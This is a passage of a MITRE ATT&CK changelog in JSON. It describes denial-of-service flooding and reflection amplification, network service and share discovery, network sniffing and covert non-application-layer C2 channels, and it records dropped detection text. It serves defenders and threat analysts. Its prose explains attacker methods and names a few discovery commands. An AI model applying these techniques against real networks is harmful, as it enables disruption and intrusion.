"DET0518: Behavioral Detection of T1498 \u2013 Network Denial of Service Across Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-02 20:07:18.651000+00:00",
"modified": "2025-10-24 17:48:22.567000+00:00",
"name": "Direct Network Flood",
"description": "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1498/001",
"external_id": "T1498.001"
},
{
"source_name": "Cisco DoSdetectNetflow",
"description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
},
{
"source_name": "USNYAG IranianBotnet March 2016",
"description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.",
"url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Availability"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"IaaS",
"Linux",
"macOS"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Sensor Health: Host Status\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:22.567000+00:00\", \"old_value\": \"2025-04-15 22:19:07.343000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1037: Filter Network Traffic"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0013: Sensor Health (Host Status)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0343: Direct Network Flood Detection across IaaS, Linux, Windows, and macOS"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-02 20:08:03.691000+00:00",
"modified": "2025-10-24 17:48:38.890000+00:00",
"name": "Reflection Amplification",
"description": "Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1498/002",
"external_id": "T1498.002"
},
{
"source_name": "Cisco DoSdetectNetflow",
"description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
},
{
"source_name": "Cloudflare DNSamplficationDoS",
"description": "Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019.",
"url": "https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/"
},
{
"source_name": "Cloudflare NTPamplifciationDoS",
"description": "Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019.",
"url": "https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/"
},
{
"source_name": "Cloudflare ReflectionDoS May 2017",
"description": "Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019.",
"url": "https://blog.cloudflare.com/reflections-on-reflections/"
},
{
"source_name": "Cloudflare Memcrashed Feb 2018",
"description": "Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.",
"url": "https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/"
},
{
"source_name": "Arbor AnnualDoSreport Jan 2018",
"description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.",
"url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Availability"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"IaaS",
"Linux",
"macOS"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Sensor Health: Host Status\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:38.890000+00:00\", \"old_value\": \"2025-04-15 22:59:22.782000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1037: Filter Network Traffic"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0013: Sensor Health (Host Status)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0408: Detection Strategy for Reflection Amplification DoS (T1498.002)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:43.915000+00:00",
"modified": "2025-10-24 17:49:31.494000+00:00",
"name": "Network Service Discovery",
"description": "Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021) \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\n\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host\u2019s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1046",
"external_id": "T1046"
},
{
"source_name": "apple doco bonjour description",
"description": "Apple Inc. (2013, April 23). Bonjour Overview. Retrieved October 11, 2021.",
"url": "https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html"
},
{
"source_name": "CISA AR21-126A FIVEHANDS May 2021",
"description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.",
"url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a"
},
{
"source_name": "macOS APT Activity Bradley",
"description": "Jaron Bradley. (2021, November 14). What does APT Activity Look Like on macOS?. Retrieved January 19, 2022.",
"url": "https://themittenmac.com/what-does-apt-activity-look-like-on-macos/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Praetorian",
"Aaron Sullivan aka ZerkerEOD"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Containers",
"IaaS",
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "3.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Command: Command Execution\", \"Cloud Service: Cloud Service Enumeration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:31.494000+00:00\", \"old_value\": \"2025-04-15 19:59:15.945000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.\"}}}",
"previous_version": "3.2",
"changelog_mitigations": {
"shared": [
"M1030: Network Segmentation",
"M1031: Network Intrusion Prevention",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0025: Cloud Service (Cloud Service Enumeration)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0376: Behavioral Detection Strategy for Network Service Discovery Across Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-12-14 16:46:06.044000+00:00",
"modified": "2025-10-24 17:48:37.475000+00:00",
"name": "Network Share Discovery",
"description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1135",
"external_id": "T1135"
},
{
"source_name": "TechNet Shared Folder",
"description": "Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.",
"url": "https://technet.microsoft.com/library/cc770880.aspx"
},
{
"source_name": "Wikipedia Shared Resource",
"description": "Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.",
"url": "https://en.wikipedia.org/wiki/Shared_resource"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Praetorian"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "3.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.475000+00:00\", \"old_value\": \"2025-04-15 22:52:30.350000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}",
"previous_version": "3.2",
"changelog_mitigations": {
"shared": [
"M1028: Operating System Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0182: Behavior-chain detection for T1135 Network Share Discovery across Windows, Linux, and macOS"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:41.399000+00:00",
"modified": "2025-10-24 17:48:36.910000+00:00",
"name": "Network Sniffing",
"description": "Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or [Defense Evasion](https://attack.mitre.org/tactics/TA0005) activities. Adversaries may likely also utilize network sniffing during [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) (AiTM) to passively gain additional knowledge about the environment.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)\n\nOn network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1040",
"external_id": "T1040"
},
{
"source_name": "AWS Traffic Mirroring",
"description": "Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.",
"url": "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html"
},
{
"source_name": "capture_embedded_packet_on_software",
"description": "Cisco. (2022, August 17). Configure and Capture Embedded Packet on Software. Retrieved July 13, 2022.",
"url": "https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/ios-embedded-packet-capture/116045-productconfig-epc-00.html"
},
{
"source_name": "GCP Packet Mirroring",
"description": "Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.",
"url": "https://cloud.google.com/vpc/docs/packet-mirroring"
},
{
"source_name": "SpecterOps AWS Traffic Mirroring",
"description": "Luke Paine. (2020, March 11). Through the Looking Glass \u2014 Part 1. Retrieved March 17, 2022.",
"url": "https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512"
},
{
"source_name": "Azure Virtual Network TAP",
"description": "Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.",
"url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview"
},
{
"source_name": "Rhino Security Labs AWS VPC Traffic Mirroring",
"description": "Spencer Gietzen. (2019, September 17). Abusing VPC Traffic Mirroring in AWS. Retrieved March 17, 2022.",
"url": "https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/"
},
{
"source_name": "US-CERT-TA18-106A",
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Oleg Kolesnikov, Securonix",
"Tiago Faria, 3CORESec",
"Austin Clark, @c2defense",
"Itamar Mizrahi, Cymptom",
"Eliraz Levi, Hunters"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Network Devices",
"IaaS"
],
"x_mitre_version": "1.7",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.910000+00:00\", \"old_value\": \"2025-04-15 19:58:19.739000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\\n\\nIn cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. For network infrastructure devices, collect AAA logging to monitor for the capture of network traffic.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\\n-\\n-In cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. For network infrastructure devices, collect AAA logging to monitor for the capture of network traffic.\"}}}",
"previous_version": "1.7",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1030: Network Segmentation",
"M1032: Multi-factor Authentication",
"M1041: Encrypt Sensitive Information"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0314: Detection Strategy for Network Sniffing Across Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:31:10.728000+00:00",
"modified": "2025-10-24 17:49:20.136000+00:00",
"name": "Non-Application Layer Protocol",
"description": "Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\n\nIn ESXi environments, adversaries may leverage the Virtual Machine Communication Interface (VMCI) for communication between guest virtual machines and the ESXi host. This traffic is similar to client-server communications on traditional network sockets but is localized to the physical machine running the ESXi host, meaning it does not traverse external networks (routers, switches). This results in communications that are invisible to external monitoring and standard networking tools like tcpdump, netstat, nmap, and Wireshark. By adding a VMCI backdoor to a compromised ESXi host, adversaries may persistently regain access from any guest VM to the compromised ESXi host\u2019s backdoor, regardless of network segmentation or firewall rules in place.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1095",
"external_id": "T1095"
},
{
"source_name": "Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023",
"description": "Alexander Marvi, Brad Slaybaugh, Ron Craft, and Rufus Brown. (2023, June 13). VMware ESXi Zero-Day Used by Chinese Espionage Actor to Perform Privileged Guest Operations on Compromised Hypervisors. Retrieved March 26, 2025.",
"url": "https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass/"
},
{
"source_name": "University of Birmingham C2",
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
},
{
"source_name": "Cisco Synful Knock Evolution",
"description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
"url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
},
{
"source_name": "Microsoft ICMP",
"description": "Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics. Retrieved December 1, 2014.",
"url": "http://support.microsoft.com/KB/170292"
},
{
"source_name": "Cisco Blog Legacy Device Attacks",
"description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
"url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
},
{
"source_name": "Wikipedia OSI",
"description": "Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014.",
"url": "http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Ryan Becwar",
"Duane Michael"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "2.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:20.136000+00:00\", \"old_value\": \"2025-04-15 19:59:04.779000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks)\\n\\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) \\n\\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 